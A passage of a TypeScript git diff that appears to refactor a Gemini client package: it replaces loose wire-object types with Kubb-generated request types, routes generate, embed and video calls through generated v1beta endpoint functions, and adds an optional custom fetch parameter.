'timeRangeFilter']) + const to: WireGoogleSearch = pick(search, ['searchTypes', 'timeRangeFilter']) + return to } function googleMapsToWire(maps: GoogleMaps) { - const to: WireObject = pick(maps, ['authConfig', 'enableWidget']) + const to: WireGoogleMaps = pick(maps, ['enableWidget']) if (maps.authConfig != null) { rejectVertexOnly(maps.authConfig, [ 'apiKeyConfig', @@ -383,6 +391,7 @@ function googleMapsToWire(maps: GoogleMaps) { 'oauthConfig', 'oidcConfig', ]) + // @ts-expect-error modelschemas gap: GoogleMaps has no authConfig, the SDK sends authConfig.apiKey to the Gemini API to.authConfig = pick(maps.authConfig, ['apiKey']) } return to @@ -394,17 +403,19 @@ function toolToWire(tool: Tool) { 'enterpriseWebSearch', 'parallelAiSearch', ]) - const to: WireObject = pick(tool, [ + const to: WireTool = pick(tool, [ 'computerUse', 'fileSearch', - 'googleSearch', - 'googleMaps', 'codeExecution', - 'functionDeclarations', 'googleSearchRetrieval', 'urlContext', 'mcpServers', ]) + if (tool.functionDeclarations != null) { + to.functionDeclarations = tool.functionDeclarations.map( + functionDeclarationToWire, + ) + } if (tool.googleSearch != null) { to.googleSearch = googleSearchToWire(tool.googleSearch) } @@ -413,12 +424,11 @@ function toolToWire(tool: Tool) { } export const toolsToWire = (tools: ReadonlyArray) => - tTools(tools).map((tool) => toolToWire(tTool(tool))) + tTools(tools).map(toolToWire) function toolConfigToWire(toolConfig: ToolConfig) { - const to: WireObject = pick(toolConfig, [ + const to: WireToolConfig = pick(toolConfig, [ 'retrievalConfig', - 'functionCallingConfig', 'includeServerSideToolInvocations', ]) const { functionCallingConfig } = toolConfig @@ -440,7 +450,8 @@ function imageConfigToWire(imageConfig: ImageConfig) { 'outputCompressionQuality', 'imageOutputOptions', ]) - return pick(imageConfig, ['aspectRatio', 'imageSize']) + const to: WireImageConfig = pick(imageConfig, ['aspectRatio', 'imageSize']) + return to } // Port of `maybeMoveToResponseJsonSchema`, without changing the caller's @@ -457,7 +468,7 @@ function moveJsonSchema(config: GenerateContentConfig) { function generateContentConfigToWire( input: GenerateContentConfig, - body: WireObject, + body: GeminiPostV1BetaModelsModelsidGeneratecontentBody, ) { const config = moveJsonSchema(input) rejectVertexOnly(config, [ @@ -481,7 +492,7 @@ function generateContentConfigToWire( body.cachedContent = tCachedContentName(config.cachedContent) } if (config.serviceTier != null) body.serviceTier = config.serviceTier - const generationConfig: WireObject = pick(config, [ + const generationConfig: GenerationConfig = pick(config, [ 'temperature', 'topP', 'topK', @@ -494,15 +505,15 @@ function generateContentConfigToWire( 'frequencyPenalty', 'seed', 'responseMimeType', - 'responseSchema', 'responseJsonSchema', - 'responseModalities', 'mediaResolution', - 'speechConfig', 'thinkingConfig', - 'imageConfig', 'enableEnhancedCivicAnswers', ]) + if (config.responseModalities != null) { + // @ts-expect-error public type mismatch: Array vs Array, responseModalities + generationConfig.responseModalities = config.responseModalities + } if (config.responseSchema != null) { generationConfig.responseSchema = tSchema(config.responseSchema) } @@ -517,7 +528,7 @@ function generateContentConfigToWire( /** Port of `generateContentParametersToMldev`, without the `_url` part. */ export function generateContentToWire(params: GenerateContentParameters) { - const body: WireObject = {} + const body: GeminiPostV1BetaModelsModelsidGeneratecontentBody = {} if (params.contents != null) { body.contents = tContents(params.contents).map(contentToWire) } @@ -596,12 +607,21 @@ export function embedContentToWire(params: EmbedContentParameters) { 'documentOcr', 'audioTrackExtraction', ]) - const fields = pick(config, ['taskType', 'title', 'outputDimensionality']) - return { - requests: tContentsForEmbed(contents).map((content) => ({ - content, - ...fields, - model, - })), + const body: GeminiPostV1BetaModelsModelsidBatchembedcontentsBody = { + requests: tContentsForEmbed(contents).map((content) => { + const request: EmbedContentRequest = {} + request.content = content + if (config.taskType != null) { + // @ts-expect-error public type mismatch: string vs EmbedContentRequestTaskTypeEnumKey, EmbedContentConfig.taskType + request.taskType = config.taskType + } + if (config.title != null) request.title = config.title + if (config.outputDimensionality != null) { + request.outputDimensionality = config.outputDimensionality + } + request.model = model + return request + }), } + return body } diff --git a/packages/ai-gemini/src/client/index.ts b/packages/ai-gemini/src/client/index.ts index 0cfd028026..8b2083690a 100644 --- a/packages/ai-gemini/src/client/index.ts +++ b/packages/ai-gemini/src/client/index.ts @@ -2,6 +2,15 @@ // adapters call. Same method names, arguments, and results. Vertex AI, // Gemini Enterprise, Google auth (no API key), and a file path upload load // the real SDK on first use. +import { sendWith } from '@tanstack/ai-utils/kubb' +import { + geminiPostV1BetaModelsModelsidBatchembedcontents, + geminiPostV1BetaModelsModelsidGeneratecontent, + geminiPostV1BetaModelsModelsidPredictlongrunning, + geminiPostV1BetaModelsModelsidStreamgeneratecontent, + geminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontent, + geminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontent, +} from '../generated/client/sdk' import { createApiClient, headerRecord, @@ -15,6 +24,7 @@ import { tFileName, tModel, } from './convert' +import type { ClientInstance } from '@tanstack/ai-utils/kubb' import type { ApiRequest } from './api' import type { GeminiAuthTokenConfig } from './auth-tokens' import type { @@ -164,8 +174,12 @@ function createSdkClient(options: GoogleGenAIOptions, vertexai: boolean) { return client } -function createFetchClient(options: GoogleGenAIOptions, apiKey: string) { - const api = createApiClient({ ...options, apiKey }) +function createFetchClient( + options: GoogleGenAIOptions, + apiKey: string, + fetchFn: typeof fetch | undefined, +) { + const api = createApiClient({ ...options, apiKey }, fetchFn) const load = lazySdk(options) // The text adapters call only `models.generateContent*`, so the other // calls load their code on first use. This keeps the text bundle small. @@ -191,13 +205,88 @@ function createFetchClient(options: GoogleGenAIOptions, apiKey: string) { abortSignal: config?.abortSignal, }) - const generateContent = (params: GenerateContentParameters, method: string) => - send( - 'POST', - `${tModel(params.model)}:${method}`, - generateContentToWire(params), - params.config, + type Config = Pick | undefined + + // A generated operation: Kubb builds the path and the JSON body, and + // `api.request` sends it with the client headers, retries, and errors. + const generated = async ( + operation: (http: ClientInstance) => Promise<{ response: Response }>, + config: Config, + ) => { + const { response } = await operation( + sendWith((built) => + api.request({ + // `api.request` adds the base URL and the API version (v1beta). + path: built.path.replace(/^\/v1beta\//, ''), + method: 'POST', + ...(typeof built.body === 'string' && { body: built.body }), + bodyHeaders: built.headers, + httpOptions: config?.httpOptions, + abortSignal: config?.abortSignal, + }), + ), ) + return response + } + + // The model of a request that the OpenAPI document has, else undefined. + // The document paths are fixed to /v1beta, so another API version keeps + // the hand-written path. A nested name would not match the path template. + const documentModel = (model: string, config: Config) => { + const apiVersion = + config?.httpOptions?.apiVersion ?? api.httpOptions.apiVersion + if (apiVersion !== 'v1beta') return undefined + const [, kind, id] = + /^(models|tunedModels)\/([^/]+)$/.exec(tModel(model)) ?? [] + return kind && id ? { tuned: kind === 'tunedModels', id } : undefined + } + + const generateContent = ( + params: GenerateContentParameters, + method: 'generateContent' | 'streamGenerateContent', + ) => { + const body = generateContentToWire(params) + const target = documentModel(params.model, params.config) + // `api.request` adds `alt=sse` to a stream request on both paths. + if (!target) { + return send( + 'POST', + `${tModel(params.model)}:${method}`, + body, + params.config, + ) + } + const { tuned, id } = target + const stream = method === 'streamGenerateContent' + return generated((http) => { + if (tuned) { + const path = { tunedModelsId: id } + return stream + ? geminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontent({ + client: http, + path, + body, + }) + : geminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontent({ + client: http, + path, + body, + }) + } + const path = { modelsId: id } + return stream + ? geminiPostV1BetaModelsModelsidStreamgeneratecontent({ + client: http, + path, + body, + }) + : geminiPostV1BetaModelsModelsidGeneratecontent({ + client: http, + path, + body, + }) + }, params.config) + } const client: GeminiClient = { vertexai: false, @@ -211,10 +300,7 @@ function createFetchClient(options: GoogleGenAIOptions, apiKey: string) { }) }, async generateContentStream(params) { - const response = await generateContent( - params, - 'streamGenerateContent?alt=sse', - ) + const response = await generateContent(params, 'streamGenerateContent') const headers = headerRecord(response) return (async function* () { for await (const chunk of readSdkStream(response)) { @@ -227,12 +313,26 @@ function createFetchClient(options: GoogleGenAIOptions, apiKey: string) { })() }, async embedContent(params) { - const response = await send( - 'POST', - `${tModel(params.model)}:batchEmbedContents`, - embedContentToWire(params), - params.config, - ) + const request = embedContentToWire(params) + const target = documentModel(params.model, params.config) + // The document has no tuned-model embed operation. + const response = + target && !target.tuned + ? await generated( + (http) => + geminiPostV1BetaModelsModelsidBatchembedcontents({ + client: http, + path: { modelsId: target.id }, + body: request, + }), + params.config, + ) + : await send( + 'POST', + `${tModel(params.model)}:batchEmbedContents`, + request, + params.config, + ) const body: EmbedContentResponse = await response.json() const result: WithHttpHeaders = { sdkHttpResponse: { headers: headerRecord(response) }, @@ -244,12 +344,25 @@ function createFetchClient(options: GoogleGenAIOptions, apiKey: string) { async generateVideos(params) { const { generateVideosToWire, videosOperationFromWire } = await import('./videos') - const response = await send( - 'POST', - `${tModel(params.model)}:predictLongRunning`, - generateVideosToWire(params), - params.config, - ) + const request = generateVideosToWire(params) + const target = documentModel(params.model, params.config) + const response = + target && !target.tuned + ? await generated( + (http) => + geminiPostV1BetaModelsModelsidPredictlongrunning({ + client: http, + path: { modelsId: target.id }, + body: request, + }), + params.config, + ) + : await send( + 'POST', + `${tModel(params.model)}:predictLongRunning`, + request, + params.config, + ) const body: WireVideosOperation = await response.json() return videosOperationFromWire(body) }, @@ -327,11 +440,16 @@ function createFetchClient(options: GoogleGenAIOptions, apiKey: string) { * sends every call through a real `GoogleGenAI`. * * @param options - The `GoogleGenAI` constructor options. + * @param fetchFn - The `fetch` of the API key client. Defaults to the global + * `fetch`. * @example * const client = createGoogleGenAI({ apiKey }) * const result = await client.models.generateContent({ model, contents }) */ -export function createGoogleGenAI(options: GoogleGenAIOptions) { +export function createGoogleGenAI( + options: GoogleGenAIOptions, + fetchFn?: typeof fetch, +) { if ((options.project || options.location) && options.apiKey) { throw new Error( 'Project/location and API key are mutually exclusive in the client initializer.', @@ -339,5 +457,5 @@ export function createGoogleGenAI(options: GoogleGenAIOptions) { } const vertexai = usesVertexAI(options) if (vertexai || !options.apiKey) return createSdkClient(options, vertexai) - return createFetchClient(options, options.apiKey) + return createFetchClient(options, options.apiKey, fetchFn) } diff --git a/packages/ai-gemini/src/client/videos.ts b/packages/ai-gemini/src/client/videos.ts index 1a6d9f797d..db0ee93c63 100644 --- a/packages/ai-gemini/src/client/videos.ts +++ b/packages/ai-gemini/src/client/videos.ts @@ -3,6 +3,7 @@ // first video call, so the text adapters do not bundle it. import { pick, rejectVertexOnly, tBytes } from './convert' import type { WireObject } from './convert' +import type { GeminiPostV1BetaModelsModelsidPredictlongrunningBody } from '../generated/client/types' import type { GenerateVideosOperation, GenerateVideosParameters, @@ -59,7 +60,7 @@ export function generateVideosToWire(params: GenerateVideosParameters) { 'Source and prompt/image/video are mutually exclusive. Please only use source.', ) } - const body: WireObject = {} + const body: GeminiPostV1BetaModelsModelsidPredictlongrunningBody = {} const instance: WireObject = {} const parameters: WireObject = {} const inputs = [ @@ -108,7 +109,10 @@ export function generateVideosToWire(params: GenerateVideosParameters) { instance.referenceImages = config.referenceImages.map(referenceImageToWire) } - if (config.webhookConfig != null) body.webhookConfig = config.webhookConfig + if (config.webhookConfig != null) { + // @ts-expect-error modelschemas gap: PredictLongRunningRequest has no webhookConfig, the SDK sends it to the Gemini API + body.webhookConfig = config.webhookConfig + } } if (Object.keys(instance).length > 0) body.instances = [instance] if (Object.keys(parameters).length > 0) body.parameters = parameters diff --git a/packages/ai-gemini/src/generated/client/sdk.ts b/packages/ai-gemini/src/generated/client/sdk.ts new file mode 100644 index 0000000000..fed6b16f3c --- /dev/null +++ b/packages/ai-gemini/src/generated/client/sdk.ts @@ -0,0 +1,681 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +import type { + GeminiPostV1BetaDynamicDynamicidGeneratecontentOptions, + GeminiPostV1BetaDynamicDynamicidGeneratecontentResponses, + GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentOptions, + GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentResponses, + GeminiPostV1BetaModelsModelsidBatchembedcontentsOptions, + GeminiPostV1BetaModelsModelsidBatchembedcontentsResponses, + GeminiPostV1BetaModelsModelsidBatchembedtextOptions, + GeminiPostV1BetaModelsModelsidBatchembedtextResponses, + GeminiPostV1BetaModelsModelsidCountmessagetokensOptions, + GeminiPostV1BetaModelsModelsidCountmessagetokensResponses, + GeminiPostV1BetaModelsModelsidCounttexttokensOptions, + GeminiPostV1BetaModelsModelsidCounttexttokensResponses, + GeminiPostV1BetaModelsModelsidCounttokensOptions, + GeminiPostV1BetaModelsModelsidCounttokensResponses, + GeminiPostV1BetaModelsModelsidEmbedcontentOptions, + GeminiPostV1BetaModelsModelsidEmbedcontentResponses, + GeminiPostV1BetaModelsModelsidEmbedtextOptions, + GeminiPostV1BetaModelsModelsidEmbedtextResponses, + GeminiPostV1BetaModelsModelsidGenerateanswerOptions, + GeminiPostV1BetaModelsModelsidGenerateanswerResponses, + GeminiPostV1BetaModelsModelsidGeneratecontentOptions, + GeminiPostV1BetaModelsModelsidGeneratecontentResponses, + GeminiPostV1BetaModelsModelsidGeneratemessageOptions, + GeminiPostV1BetaModelsModelsidGeneratemessageResponses, + GeminiPostV1BetaModelsModelsidGeneratetextOptions, + GeminiPostV1BetaModelsModelsidGeneratetextResponses, + GeminiPostV1BetaModelsModelsidPredictOptions, + GeminiPostV1BetaModelsModelsidPredictResponses, + GeminiPostV1BetaModelsModelsidPredictlongrunningOptions, + GeminiPostV1BetaModelsModelsidPredictlongrunningResponses, + GeminiPostV1BetaModelsModelsidStreamgeneratecontentOptions, + GeminiPostV1BetaModelsModelsidStreamgeneratecontentResponses, + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentOptions, + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentResponses, + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextOptions, + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextResponses, + GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentOptions, + GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentResponses, +} from './types' +import type { Options, RequestResult } from '@tanstack/ai-utils/kubb' +import { client } from '@tanstack/ai-utils/kubb' + +/** + * @summary Generates a model response given an input `GenerateContentRequest`. Refer to the [text generation guide](https://aistudio.google.com/docs/text-generation) for detailed usage information. Input capabilities differ between models, including tuned models. Refer to the [model guide](https://aistudio.google.com/docs/models) and [tuning guide](https://aistudio.google.com/docs/model-tuning) for details. + * {@link /v1beta/dynamic/:dynamicId:generateContent} + */ +export function geminiPostV1BetaDynamicDynamicidGeneratecontent< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaDynamicDynamicidGeneratecontentOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaDynamicDynamicidGeneratecontentResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/dynamic/{dynamicId}:generateContent', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaDynamicDynamicidGeneratecontentResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates a [streamed response](https://aistudio.google.com/docs/text-generation#streaming-responses) from the model given an input `GenerateContentRequest`. + * {@link /v1beta/dynamic/:dynamicId:streamGenerateContent} + */ +export function geminiPostV1BetaDynamicDynamicidStreamgeneratecontent< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/dynamic/{dynamicId}:streamGenerateContent', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates multiple embedding vectors from the input `Content` which consists of a batch of strings represented as `EmbedContentRequest` objects. + * {@link /v1beta/models/:modelsId:batchEmbedContents} + */ +export function geminiPostV1BetaModelsModelsidBatchembedcontents< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidBatchembedcontentsOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidBatchembedcontentsResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:batchEmbedContents', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidBatchembedcontentsResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates multiple embeddings from the model given input text in a synchronous call. + * {@link /v1beta/models/:modelsId:batchEmbedText} + */ +export function geminiPostV1BetaModelsModelsidBatchembedtext< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidBatchembedtextOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidBatchembedtextResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:batchEmbedText', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidBatchembedtextResponses, + ThrowOnError + > + > +} + +/** + * @summary Runs a model's tokenizer on a string and returns the token count. + * {@link /v1beta/models/:modelsId:countMessageTokens} + */ +export function geminiPostV1BetaModelsModelsidCountmessagetokens< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidCountmessagetokensOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidCountmessagetokensResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:countMessageTokens', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidCountmessagetokensResponses, + ThrowOnError + > + > +} + +/** + * @summary Runs a model's tokenizer on a text and returns the token count. + * {@link /v1beta/models/:modelsId:countTextTokens} + */ +export function geminiPostV1BetaModelsModelsidCounttexttokens< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidCounttexttokensOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidCounttexttokensResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:countTextTokens', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidCounttexttokensResponses, + ThrowOnError + > + > +} + +/** + * @summary Runs a model's tokenizer on input `Content` and returns the token count. Refer to the [tokens guide](https://aistudio.google.com/docs/tokens) to learn more about tokens. + * {@link /v1beta/models/:modelsId:countTokens} + */ +export function geminiPostV1BetaModelsModelsidCounttokens< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidCounttokensOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidCounttokensResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:countTokens', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidCounttokensResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates a text embedding vector from the input `Content` using the specified [Gemini Embedding model](https://aistudio.google.com/docs/models#specialized-task-models). + * {@link /v1beta/models/:modelsId:embedContent} + */ +export function geminiPostV1BetaModelsModelsidEmbedcontent< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidEmbedcontentOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidEmbedcontentResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:embedContent', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidEmbedcontentResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates an embedding from the model given an input message. + * {@link /v1beta/models/:modelsId:embedText} + */ +export function geminiPostV1BetaModelsModelsidEmbedtext< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidEmbedtextOptions, + ThrowOnError + >, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:embedText', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidEmbedtextResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates a grounded answer from the model given an input `GenerateAnswerRequest`. + * {@link /v1beta/models/:modelsId:generateAnswer} + */ +export function geminiPostV1BetaModelsModelsidGenerateanswer< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidGenerateanswerOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidGenerateanswerResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:generateAnswer', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidGenerateanswerResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates a model response given an input `GenerateContentRequest`. Refer to the [text generation guide](https://aistudio.google.com/docs/text-generation) for detailed usage information. Input capabilities differ between models, including tuned models. Refer to the [model guide](https://aistudio.google.com/docs/models) and [tuning guide](https://aistudio.google.com/docs/model-tuning) for details. + * {@link /v1beta/models/:modelsId:generateContent} + */ +export function geminiPostV1BetaModelsModelsidGeneratecontent< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidGeneratecontentOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidGeneratecontentResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:generateContent', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidGeneratecontentResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates a response from the model given an input `MessagePrompt`. + * {@link /v1beta/models/:modelsId:generateMessage} + */ +export function geminiPostV1BetaModelsModelsidGeneratemessage< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidGeneratemessageOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidGeneratemessageResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:generateMessage', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidGeneratemessageResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates a response from the model given an input message. + * {@link /v1beta/models/:modelsId:generateText} + */ +export function geminiPostV1BetaModelsModelsidGeneratetext< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidGeneratetextOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidGeneratetextResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:generateText', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidGeneratetextResponses, + ThrowOnError + > + > +} + +/** + * @summary Deprecated: Performs a prediction request. Use `GenerativeService.GenerateContent` instead. + * {@link /v1beta/models/:modelsId:predict} + */ +export function geminiPostV1BetaModelsModelsidPredict< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:predict', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Deprecated: Same as Predict but returns an LRO. Use the Interactions API instead. + * {@link /v1beta/models/:modelsId:predictLongRunning} + */ +export function geminiPostV1BetaModelsModelsidPredictlongrunning< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidPredictlongrunningOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidPredictlongrunningResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:predictLongRunning', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidPredictlongrunningResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates a [streamed response](https://aistudio.google.com/docs/text-generation#streaming-responses) from the model given an input `GenerateContentRequest`. + * {@link /v1beta/models/:modelsId:streamGenerateContent} + */ +export function geminiPostV1BetaModelsModelsidStreamgeneratecontent< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaModelsModelsidStreamgeneratecontentOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidStreamgeneratecontentResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/models/{modelsId}:streamGenerateContent', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaModelsModelsidStreamgeneratecontentResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates a model response given an input `GenerateContentRequest`. Refer to the [text generation guide](https://aistudio.google.com/docs/text-generation) for detailed usage information. Input capabilities differ between models, including tuned models. Refer to the [model guide](https://aistudio.google.com/docs/models) and [tuning guide](https://aistudio.google.com/docs/model-tuning) for details. + * {@link /v1beta/tunedModels/:tunedModelsId:generateContent} + */ +export function geminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontent< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/tunedModels/{tunedModelsId}:generateContent', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates a response from the model given an input message. + * {@link /v1beta/tunedModels/:tunedModelsId:generateText} + */ +export function geminiPostV1BetaTunedmodelsTunedmodelsidGeneratetext< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextOptions, + ThrowOnError + >, +): Promise< + RequestResult< + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/tunedModels/{tunedModelsId}:generateText', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextResponses, + ThrowOnError + > + > +} + +/** + * @summary Generates a [streamed response](https://aistudio.google.com/docs/text-generation#streaming-responses) from the model given an input `GenerateContentRequest`. + * {@link /v1beta/tunedModels/:tunedModelsId:streamGenerateContent} + */ +export function geminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontent< + ThrowOnError extends boolean = true, +>( + options: Options< + GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentOptions, + ThrowOnError + >, +): Promise< + RequestResult< + 